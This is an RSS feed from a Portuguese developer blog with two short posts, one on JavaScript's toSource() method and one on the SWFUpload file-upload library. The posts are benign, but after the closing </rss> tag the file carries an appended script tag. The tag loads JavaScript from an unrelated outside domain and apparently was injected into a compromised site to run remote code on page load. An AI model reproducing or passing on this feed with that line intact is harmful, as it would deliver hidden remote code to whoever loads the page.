<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; Dev Dicas</title>
	<atom:link href="http://marcos.blog.br/category/dev-dicas/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Método toSource() do JavaScript</title>
		<link>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/</link>
		<comments>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:15:50 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dev Dicas]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=290</guid>
		<description><![CDATA[O Método toSource() do Javascript é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em mostrar como String todos os argumentos de um objeto. Para usar, basta chamar o método toSource() em um objeto: alert(objeto.toSource()) E você verá todos os argumentos da instância &#8220;objeto&#]]></description>
			<content:encoded><![CDATA[<p>O <strong>Método toSource()</strong> do <strong>Javascript</strong> é uma mão na roda para quem trabalha com JavaScript orientado a objetos e consiste basicamente em <strong>mostrar como String todos os argumentos de um objeto</strong>.</p>
<p>Para usar, basta chamar o método toSource() em um objeto:</p>
<pre class="brush:javascript">
alert(objeto.toSource())
</pre>
<p>E você verá todos os argumentos da instância &#8220;objeto&#8221;.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/metodo-tosource-do-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Upload de Arquivos com SWFUpload</title>
		<link>http://marcos.blog.br/2009/09/upload-de-arquivos-com-swfupload/</link>
		<comments>http://marcos.blog.br/2009/09/upload-de-arquivos-com-swfupload/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 13:46:36 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Dev Dicas]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[SWFU]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=41</guid>
		<description><![CDATA[A algum tempo atrás tive a necessidade de criar um sistema mais complexo de Upload de Arquivos. Quem já utilizou, sabe como é chato personalizar e criar algo mais elaborado utilizando a tag <input type="file">.

Após uma pesquisa encontrei o SWFUpload]]></description>
			<content:encoded><![CDATA[<p><a  href="http://www.swfupload.org/" target="_blank"><img class="alignleft size-full wp-image-44" style="margin: 0px 8px;" title="swfupload" src="http://marcos.blog.br/wp-content/uploads/2009/09/swfupload.png" alt="swfupload" width="200" height="87" /></a>A algum tempo atrás tive a necessidade de criar um sistema mais complexo de Upload de Arquivos. Quem já utilizou, sabe como é chato personalizar e criar algo mais elaborado utilizando a tag &lt;input type=&#8221;file&#8221;&gt;.</p>
<p>Após uma pesquisa encontrei o <a  href="http://www.swfupload.org/" target="_blank">SWFUpload</a>. Calma! não é um sistema em Flash de upload de arquivos, no entando, ele utiliza um SWF para fazer parte da mecânica do processo de upload sem que o Flash seja visível ao usuário (analisando com calma pude perceber que ele insere um flash transparente de 1px em algum canto da tela). O restante do processo é realizado por métodos JavaScript que lhe permitem muitas possibilidades de personalização.</p>
<p>Uma das grandes vantagens que vejo é a barra de progresso. Não há nada pior do que ficar aguardando um arquivo ser enviado sem saber quando vai acabar. Outra coisa interessante é a possibilidade de enviar diversos arquivos de uma só vez e deixar que o SWFU gerencie a fila e execute a ação que você quiser ao finalizar o envio (de um único e/ou de todos os arquivos).</p>
<p>O SWFU não dispensa o uso de uma linguagem server-side, mas lhe dá a liberdade de trabalhar com a linguagem que quiser. Ao baixar o SWFU você irá perceber alguns exemplos em PHP e ASP.</p>
<p>A desvantagem é a necessidade de se ter o plugin do Flash instalado no navegador, se bem que hoje em dia isso não é mais um problema visto que até mobile já possuem a versão Flash Light (não cheguei a testar).</p>
<p>Atualmente o SWFU está na versão 2.2.0. Eu utilizo desde sua versão 1.x.x, e nas atualizações dos plugins do Flash de meu navegador, sempre funcionou bem, até que foi lançado a versão 10 do Flash. O SWFU parou de funcionar no Flash 10 para Internet Exploder (pra variar ele!), problema esse que foi corrigido na atual versão e não promete ter novos problemas, visto que o Flash 10 realmente teve mudanças agressivas em sua estrutura.</p>
<p>Vale a pena dar uma olhada nos <a  href="http://demo.swfupload.org/v220/index.htm" target="_blank">exemplos</a> que estão no site.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/upload-de-arquivos-com-swfupload/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>